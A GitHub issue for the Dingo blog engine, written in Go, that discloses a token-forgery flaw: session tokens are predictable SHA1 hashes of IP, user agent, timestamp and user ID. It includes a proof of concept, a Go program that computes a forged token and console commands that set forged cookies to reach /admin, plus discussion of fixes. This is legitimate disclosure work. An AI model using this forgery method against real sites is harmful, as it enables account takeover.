dingoblog / dingo

Blog engine written in Go
MIT License
284 stars 34 forks source link

Security vulnerability in token logic #79

Open bentranter opened 8 years ago

bentranter commented 8 years ago

Steps to reproduce:

  1. Start a fresh instance of Dingo.
  2. Create a new user (so the user ID 1 exists)
  3. In app/model/token.go, change the NewToken function so it uses a set time (this is just to make it easier to reproduce this bug)
var attackTime = time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)

func NewToken(u *User, ctx *golf.Context, expire int64) *Token {
    t := new(Token)
    t.UserId = u.Id
    t.CreatedAt = utils.Now()
    expiredAt := t.CreatedAt.Add(time.Duration(expire) * time.Second)
    t.ExpiredAt = &expiredAt
    t.Value = utils.Sha1(fmt.Sprintf("%s-%s-%d-%d", ctx.ClientIP(), ctx.Request.UserAgent(), attackTime.Unix(), t.UserId))
    return t
}

Once you've done that, login to Dingo so you have an active session associated with your User ID. Once you've done that, you're all done on the Dingo side of things for now. Next, create a new file and run the following code:

package main

import (
    "fmt"
    "time"

    "github.com/dinever/golf"
    "github.com/dingoblog/dingo/app/utils"
)

var attackTime = time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)

func forgedTokenHandler(ctx *golf.Context) {
    forgedToken := utils.Sha1(fmt.Sprintf("%s-%s-%d-%d", ctx.ClientIP(), ctx.Request.UserAgent(), attackTime.Unix(), 1))
    ctx.Response.Write([]byte(forgedToken))
}

func main() {
    app := golf.New()
    app.Get("/", forgedTokenHandler)

    app.Run(":3000")
}

Start that server, and visit http://localhost:3000. There, you'll see a SHA that probably looks something like a9a596375f3313c1649edf3db2f9845fc0874056. Copy that SHA, open a new Incognito window and visit your Dingo blog again. Try to visit the /admin route. You'll be redirected to the /login route of course, since you're not logged in, but we're not done yet! Open the dev tools console and run:

document.cookie = "token-user=1; path=/";

// Swap out the <SHA> here with the SHA you copied earlier
document.cookie = "token-value=<SHA>; path=/";

After you run that, try to access /admin again. If you did everything right, you'll be logged in as that user!

To address this, I think we should just work on implementing secure cookies and sessions in Golf itself. We could work on https://github.com/dinever/golf/issues/12, and borrow the secure session and cookie logic from gorilla/sessions, since their implementation is rock-solid and secure.

It should also be noted that it's fairly hard to attack this as-is, since you'd need to know a lot about the user, and be able to figure out the time the user's token was created. That stuff is susceptible to brute-force attacks though, and since Golf and Dingo perform so well, you could try a lot of different times per second using the API.

rebootcode commented 7 years ago

This is set-cookie issue and it can be still protected by simply setting "http-only" cookie along with "host-only" . With http , hacker can not set and use cookie with just javascript.